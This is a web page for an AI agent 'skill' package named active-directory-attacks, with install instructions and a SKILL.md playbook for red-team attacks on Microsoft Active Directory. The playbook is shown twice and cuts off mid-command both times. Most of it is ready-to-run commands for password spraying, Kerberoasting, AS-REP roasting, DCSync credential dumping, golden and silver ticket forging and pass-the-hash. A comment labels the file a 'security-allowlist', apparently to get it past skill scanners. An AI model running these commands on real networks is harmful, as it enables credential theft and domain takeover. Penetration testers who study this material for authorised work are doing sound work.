active-directory-attacks

Name: active-directory-attacks
Author: sickn33

44kstars6.5kforks

How to install active-directory-attacks?

sickn33/agentic-awesome-skills/active-directory-attacks

$npx -y skills add sickn33/agentic-awesome-skills --skill active-directory-attacks

Installs into the current project.

Summary

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Files · 1

View on GitHub

SKILL.md

1	> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
2
3	<!-- security-allowlist: credential-extraction, kerberos-attacks -->
4
5	# Active Directory Attacks
6
7	## Purpose
8
9	Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
10
11	## Inputs/Prerequisites
12
13	- Kali Linux or Windows attack platform
14	- Domain user credentials (for most attacks)
15	- Network access to Domain Controller
16	- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
17
18	## Outputs/Deliverables
19
20	- Domain enumeration data
21	- Extracted credentials and hashes
22	- Kerberos tickets for impersonation
23	- Domain Administrator access
24	- Persistent access mechanisms
25
26	---
27
28	## Essential Tools
29
30	\| Tool \| Purpose \|
31	\|------\|---------\|
32	\| BloodHound \| AD attack path visualization \|
33	\| Impacket \| Python AD attack tools \|
34	\| Mimikatz \| Credential extraction \|
35	\| Rubeus \| Kerberos attacks \|
36	\| CrackMapExec \| Network exploitation \|
37	\| PowerView \| AD enumeration \|
38	\| Responder \| LLMNR/NBT-NS poisoning \|
39
40	---
41
42	## Core Workflow
43
44	### Step 1: Kerberos Clock Sync
45
46	Kerberos requires clock synchronization (±5 minutes):
47
48	```bash
49	# Detect clock skew
50	nmap -sT 10.10.10.10 -p445 --script smb2-time
51
52	# Fix clock on Linux
53	sudo date -s "14 APR 2024 18:25:16"
54
55	# Fix clock on Windows
56	net time /domain /set
57
58	# Fake clock without changing system time
59	faketime -f '+8h' <command>
60	```
61
62	### Step 2: AD Reconnaissance with BloodHound
63
64	```bash
65	# Start BloodHound
66	neo4j console
67	bloodhound --no-sandbox
68
69	# Collect data with SharpHound
70	.\SharpHound.exe -c All
71	.\SharpHound.exe -c All --ldapusername user --ldappassword pass
72
73	# Python collector (from Linux)
74	bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
75	```
76
77	### Step 3: PowerView Enumeration
78
79	```powershell
80	# Get domain info
81	Get-NetDomain
82	Get-DomainSID
83	Get-NetDomainController
84
85	# Enumerate users
86	Get-NetUser
87	Get-NetUser -SamAccountName targetuser
88	Get-UserProperty -Properties pwdlastset
89
90	# Enumerate groups
91	Get-NetGroupMember -GroupName "Domain Admins"
92	Get-DomainGroup -Identity "Domain Admins" \| Select-Object -ExpandProperty Member
93
94	# Find local admin access
95	Find-LocalAdminAccess -Verbose
96
97	# User hunting
98	Invoke-UserHunter
99	Invoke-UserHunter -Stealth
100	```
101
102	---
103
104	## Credential Attacks
105
106	### Password Spraying
107
108	```bash
109	# Using kerbrute
110	./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
111
112	# Using CrackMapExec
113	crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
114	```
115
116	### Kerberoasting
117
118	Extract service account TGS tickets and crack offline:
119
120	```bash
121	# Impacket
122	GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
123
124	# Rubeus
125	.\Rubeus.exe kerberoast /outfile:hashes.txt
126
127	# CrackMapExec
128	crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
129
130	# Crack with hashcat
131	hashcat -m 13100 hashes.txt rockyou.txt
132	```
133
134	### AS-REP Roasting
135
136	Target accounts with "Do not require Kerberos preauthentication":
137
138	```bash
139	# Impacket
140	GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
141
142	# Rubeus
143	.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
144
145	# Crack with hashcat
146	hashcat -m 18200 hashes.txt rockyou.txt
147	```
148
149	### DCSync Attack
150
151	Extract credentials directly from DC (requires Replicating Directory Changes rights):
152
153	```bash
154	# Impacket
155	secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
156
157	# Mimikatz
158	lsadump::dcsync /domain:domain.local /user:krbtgt
159	lsadump::dcsync /domain:domain.local /user:Administrator
160	```
161
162	---
163
164	## Kerberos Ticket Attacks
165
166	### Pass-the-Ticket (Golden Ticket)
167
168	Forge TGT with krbtgt hash for any user:
169
170	```powershell
171	# Get krbtgt hash via DCSync first
172	# Mimikatz - Create Golden Ticket
173	kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
174
175	# Impacket
176	ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
177	export KRB5CCNAME=Administrator.ccache
178	psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
179	```
180
181	### Silver Ticket
182
183	Forge TGS for specific service:
184
185	```powershell
186	# Mimikatz
187	kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
188	```
189
190	### Pass-the-Hash
191
192	```bash
193	# Impacket
194	psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
195	wmie

People who liked this also viewed

6 picks

Type

active-directory-attacks

44kstars6.5kforks

View on GitHub

How to install active-directory-attacks?

sickn33/agentic-awesome-skills/active-directory-attacks

$npx -y skills add sickn33/agentic-awesome-skills --skill active-directory-attacks

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
2
3	<!-- security-allowlist: credential-extraction, kerberos-attacks -->
4
5	# Active Directory Attacks
6
7	## Purpose
8
9	Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
10
11	## Inputs/Prerequisites
12
13	- Kali Linux or Windows attack platform
14	- Domain user credentials (for most attacks)
15	- Network access to Domain Controller
16	- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
17
18	## Outputs/Deliverables
19
20	- Domain enumeration data
21	- Extracted credentials and hashes
22	- Kerberos tickets for impersonation
23	- Domain Administrator access
24	- Persistent access mechanisms
25
26	---
27
28	## Essential Tools
29
30	\| Tool \| Purpose \|
31	\|------\|---------\|
32	\| BloodHound \| AD attack path visualization \|
33	\| Impacket \| Python AD attack tools \|
34	\| Mimikatz \| Credential extraction \|
35	\| Rubeus \| Kerberos attacks \|
36	\| CrackMapExec \| Network exploitation \|
37	\| PowerView \| AD enumeration \|
38	\| Responder \| LLMNR/NBT-NS poisoning \|
39
40	---
41
42	## Core Workflow
43
44	### Step 1: Kerberos Clock Sync
45
46	Kerberos requires clock synchronization (±5 minutes):
47
48	```bash
49	# Detect clock skew
50	nmap -sT 10.10.10.10 -p445 --script smb2-time
51
52	# Fix clock on Linux
53	sudo date -s "14 APR 2024 18:25:16"
54
55	# Fix clock on Windows
56	net time /domain /set
57
58	# Fake clock without changing system time
59	faketime -f '+8h' <command>
60	```
61
62	### Step 2: AD Reconnaissance with BloodHound
63
64	```bash
65	# Start BloodHound
66	neo4j console
67	bloodhound --no-sandbox
68
69	# Collect data with SharpHound
70	.\SharpHound.exe -c All
71	.\SharpHound.exe -c All --ldapusername user --ldappassword pass
72
73	# Python collector (from Linux)
74	bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
75	```
76
77	### Step 3: PowerView Enumeration
78
79	```powershell
80	# Get domain info
81	Get-NetDomain
82	Get-DomainSID
83	Get-NetDomainController
84
85	# Enumerate users
86	Get-NetUser
87	Get-NetUser -SamAccountName targetuser
88	Get-UserProperty -Properties pwdlastset
89
90	# Enumerate groups
91	Get-NetGroupMember -GroupName "Domain Admins"
92	Get-DomainGroup -Identity "Domain Admins" \| Select-Object -ExpandProperty Member
93
94	# Find local admin access
95	Find-LocalAdminAccess -Verbose
96
97	# User hunting
98	Invoke-UserHunter
99	Invoke-UserHunter -Stealth
100	```
101
102	---
103
104	## Credential Attacks
105
106	### Password Spraying
107
108	```bash
109	# Using kerbrute
110	./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
111
112	# Using CrackMapExec
113	crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
114	```
115
116	### Kerberoasting
117
118	Extract service account TGS tickets and crack offline:
119
120	```bash
121	# Impacket
122	GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
123
124	# Rubeus
125	.\Rubeus.exe kerberoast /outfile:hashes.txt
126
127	# CrackMapExec
128	crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
129
130	# Crack with hashcat
131	hashcat -m 13100 hashes.txt rockyou.txt
132	```
133
134	### AS-REP Roasting
135
136	Target accounts with "Do not require Kerberos preauthentication":
137
138	```bash
139	# Impacket
140	GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
141
142	# Rubeus
143	.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
144
145	# Crack with hashcat
146	hashcat -m 18200 hashes.txt rockyou.txt
147	```
148
149	### DCSync Attack
150
151	Extract credentials directly from DC (requires Replicating Directory Changes rights):
152
153	```bash
154	# Impacket
155	secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
156
157	# Mimikatz
158	lsadump::dcsync /domain:domain.local /user:krbtgt
159	lsadump::dcsync /domain:domain.local /user:Administrator
160	```
161
162	---
163
164	## Kerberos Ticket Attacks
165
166	### Pass-the-Ticket (Golden Ticket)
167
168	Forge TGT with krbtgt hash for any user:
169
170	```powershell
171	# Get krbtgt hash via DCSync first
172	# Mimikatz - Create Golden Ticket
173	kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
174
175	# Impacket
176	ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
177	export KRB5CCNAME=Administrator.ccache
178	psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
179	```
180
181	### Silver Ticket
182
183	Forge TGS for specific service:
184
185	```powershell
186	# Mimikatz
187	kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
188	```
189
190	### Pass-the-Hash
191
192	```bash
193	# Impacket
194	psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
195	wmie

People who liked this also viewed

6 picks

Type